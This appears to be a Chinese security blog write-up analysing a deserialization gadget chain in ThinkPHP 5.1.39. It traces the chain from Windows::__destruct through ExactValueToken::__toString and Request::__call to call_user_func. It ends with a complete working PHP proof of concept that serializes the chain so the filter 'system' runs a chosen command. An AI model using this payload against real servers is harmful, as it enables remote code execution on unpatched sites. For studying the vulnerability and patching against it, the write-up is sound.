thinkphp_5.1.39反序列化分析

[toc]

环境搭建

thinkphp5.1.39
php7.3

从网上下载好源码,打开 application\index\controller\Index.php 文件写入如下代码:

打开框架的debug模式,配置好phpstorm+chrome的调试模式,便可以开始了。

反序列化

搜索 __destruct() 方法,和thinkphp5.0.x一样,还是在 Windows类中

跟进 removeFiles()

这里的 file_exists() 中的参数是可控的,其参数会被当做字符串处理,可以触发 __toString() 方法,搜索一下这个方法,很快就找到了,在 vendor\phpspec\prophecy\src\Prophecy\Argument\Token\ExactValueToken.php 文件下的 ExactValueToken 类中有一个可以利用的函数。

这里的 $this->util->stringify($this->value) 两个参数都是可控的,是可以完美触发 __call() 的地方,然后搜索一下__call(),在 Request 类中

__call方法的第一个参数是调用的那个不存在的方法,在这里也就是 stringify ,第二个参数以数组的方式传递,数组中的值是调用不存在方法时传递的参数。
在这里 $this->hook 是可控的,但是 array_unshift会把 $this 放到 $args 数组的第一个元素,我们只能

1
2
3
call_user_func_array([$obj,"任意方法"],[$this,任意参数])
也就是
$obj->$func($this,$argv)

这样很难直接执行我们想要的函数,但是Thinkphp作为一个web框架,
Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处)
我们只能想办法通过调用别的方法来达到我们想要的结果,然后也是在 Request 类中找到了 filterValue 方法

这里可以调用 call_user_func 来执行任意函数,需要找一个调用 filterValue 的点,发现 input 方法符合条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
······

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
······

但是这里的参数不可控,需要再寻找input参数可控的点,在 param()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
······
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}

这里只有 $this->param 是可控的,$filter 为空,需要再寻找调用 param() 的点,

这里 isAjax() 参数时可控的,并且 param() 的参数 $this->config\['var_ajax'\] 也是可控的,那这样 param()$name也是可控的,再看 input() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
······

$data = $this->getData($data, $name);
······

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
······
}
} else {
$this->filterValue($data, $name, $filter);
······

$data 来自 getData() 方法, $filter 来自 getFilter() ,先看一下 getData()

这里 $data = $data[$val] = $data[$name] ,而 $name 是可控的,所以我们的 $data 也是可控的,
再看一下 getFilter()

$filter = $filter ?: $this->filter;,也是可控的。
所以在 input()中调用 filterValue() 方法时的参数 $data$filter 都是可控的,也就是 filterValue() 中我们调用 call_user_func 时的参数,这样整条pop链就算构造完成了。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
namespace think {
class Request {
protected $hook = [];
protected $filter;
protected $config = [];
protected $param = [];
function __construct() {
$this->hook = ['stringify'=>[$this,"isAjax"]];
$this->filter = ['system'];
$this->config['var_ajax'] = '1';
$this->param = ['calc','1'=>'calc'];
}
}
}
namespace Prophecy\Argument\Token {
use think\Request;
class ExactValueToken {
private $value;
private $string;
private $util;
function __construct() {
$this->string = null;
$this->util = new Request();
$this->value = ['111'];
}
}
}

namespace think\process\pipes {
use Prophecy\Argument\Token\ExactValueToken;
class Windows {
private $files = [];
function __construct() {
$this->files = [new ExactValueToken()];
}
}
$a = new Windows();
echo urlencode(serialize($a));
}

执行成功